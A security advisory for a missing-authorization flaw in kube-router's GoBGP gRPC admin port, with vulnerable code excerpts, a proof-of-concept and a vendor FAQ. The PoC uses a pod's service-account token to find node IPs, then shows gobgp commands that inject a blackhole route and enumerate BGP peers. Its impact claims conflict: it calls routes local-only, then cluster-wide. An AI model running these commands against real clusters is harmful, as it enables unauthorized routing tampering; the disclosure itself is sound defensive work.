GHSA-V5MH-H5HX-7V92

When the kube-router routing controller starts (--run-router), it binds the GoBGP gRPC management server to the node's primary IP (e.g., 192.168.1.10:50051) in addition to 127.0.0.1:50051. The default admin port is 50051 and the server is enabled by default with no TLS and no authentication. Any pod in the cluster can reach node IPs and therefore call the GoBGP gRPC API to inject arbitrary BGP routes, enumerate peer configurations, add unauthorized BGP neighbors, or withdraw legitimate routes. While kube-router's BGP export policy of ROUTE_ACTION_REJECT limits the attack surface to the local node's GoBGP RIB, an attacker can still impact local routing decisions.

Details

The gRPC server is started unconditionally when --run-router is active. In pkg/controllers/routing/network_routes_controller.go, the startBgpServer(true) call at line 365 passes grpcServer=true, and the binding logic at lines 1057–1061 is:

// pkg/controllers/routing/network_routes_controller.go:1057-1061
if grpcServer && nrc.goBGPAdminPort != 0 {
    nrc.bgpServer = gobgp.NewBgpServer(
        gobgp.GrpcListenAddress(net.JoinHostPort(nrc.krNode.GetPrimaryNodeIP().String(),
            strconv.FormatUint(uint64(nrc.goBGPAdminPort), 10)) + "," +
            fmt.Sprintf("127.0.0.1:%d", nrc.goBGPAdminPort)))
}

The default admin port is defined in pkg/options/options.go:

// pkg/options/options.go:16
defaultGoBGPAdminPort uint16 = 50051

No gobgp.GrpcOption is passed, meaning the gRPC server is started with no TLS credentials and no authentication interceptor. The GoBGP gRPC API (gobgpapi) exposes write-capable RPCs:

• AddPath / DeletePath, inject or withdraw arbitrary BGP routes
• AddPeer / DeletePeer / UpdatePeer, add/remove/modify BGP neighbors
• AddPolicy / DeletePolicy, modify BGP routing policies
• ListPeer / ListPath, enumerate all BGP peer configs and routing table entries

kube-router runs as a DaemonSet with hostNetwork: true. This means the gRPC server is reachable at <node-primary-ip>:50051 from any pod in the cluster, pod-to-node-IP connectivity is guaranteed by any Kubernetes-conformant CNI. The kube-router documentation in docs/pod-toolbox.md explicitly demonstrates cross-node usage: "To query a different node use gobgp --host node02.mydomain", confirming the port is reachable across the cluster, but providing no guidance on restricting access.

PoC

From any pod running in the cluster:

Step 1, Discover a node IP:

# Using the Kubernetes API (available to all pods via service account)
curl -s -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  https://kubernetes.default.svc/api/v1/nodes \
  --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  | grep -o '"internalIP":"[^"]*"' | head -1
# Expected output: "internalIP":"192.168.1.10"

Step 2, Connect to the GoBGP gRPC API and inject a blackhole route:

# Install gobgp CLI (already available in kube-router image, or pull separately)
gobgp --host 192.168.1.10:50051 global rib add -a ipv4 10.96.0.0/12 nexthop blackhole
# Expected output: (no error, route accepted into the local GoBGP RIB)

Step 3, Verify route propagated to BGP table:

gobgp --host 192.168.1.10:50051 global rib -a ipv4
# Expected output: shows 10.96.0.0/12 blackhole route in the local RIB
# This route does NOT propagate to peers or get added to the kernel routing table.

Step 4, Enumerate BGP peer configurations:

gobgp --host 192.168.1.10:50051 neighbor
# Expected output: lists all configured BGP peers, their ASNs,
# session state, and configuration, without any Kubernetes credentials

• BGP route injection: An attacker with a pod in the cluster can inject arbitrary routes into a node's local BGP RIB. While these routes are not propagated to the rest of the cluster or injected into the kernel's routing table, this allows an attacker to pollute the BGP state on a node and could be combined with misconfigurations/other vulnerabilities for additional exploits (e.g. if the ROUTE_ACTION_REJECT policy set in kube-router was ever changed/relaxed)
• BGP peer enumeration: All BGP neighbor configurations, including remote ASNs and session metadata, are accessible without authentication.
• BGP peer manipulation: Unauthorized BGP peers can be added, and are persisted until manually removed. Legitimate peer configurations can be removed temporarily, though they are automatically restored each sync tick.)
• Routing policy modification: BGP import/export policies can be modified within the local RIB

The blast radius is cluster-wide: a single successful AddPath call on one node affects all pods' network connectivity through iBGP propagation.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

GHSA-V5MH-H5HX-7V92 has a CVSS score of 6.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.9.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-V5MH-H5HX-7V92? GHSA-V5MH-H5HX-7V92 is a medium-severity missing authorization vulnerability in github.com/cloudnativelabs/kube-router (go), affecting versions <= 2.8.1. It is fixed in 2.9.0. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is GHSA-V5MH-H5HX-7V92? GHSA-V5MH-H5HX-7V92 has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/cloudnativelabs/kube-router are affected by GHSA-V5MH-H5HX-7V92? github.com/cloudnativelabs/kube-router (go) versions <= 2.8.1 is affected.
4. Is there a fix for GHSA-V5MH-H5HX-7V92? Yes. GHSA-V5MH-H5HX-7V92 is fixed in 2.9.0. Upgrade to this version or later.
5. Is GHSA-V5MH-H5HX-7V92 exploitable, and should I be worried? Whether GHSA-V5MH-H5HX-7V92 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-V5MH-H5HX-7V92 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-V5MH-H5HX-7V92? Upgrade github.com/cloudnativelabs/kube-router to 2.9.0 or later.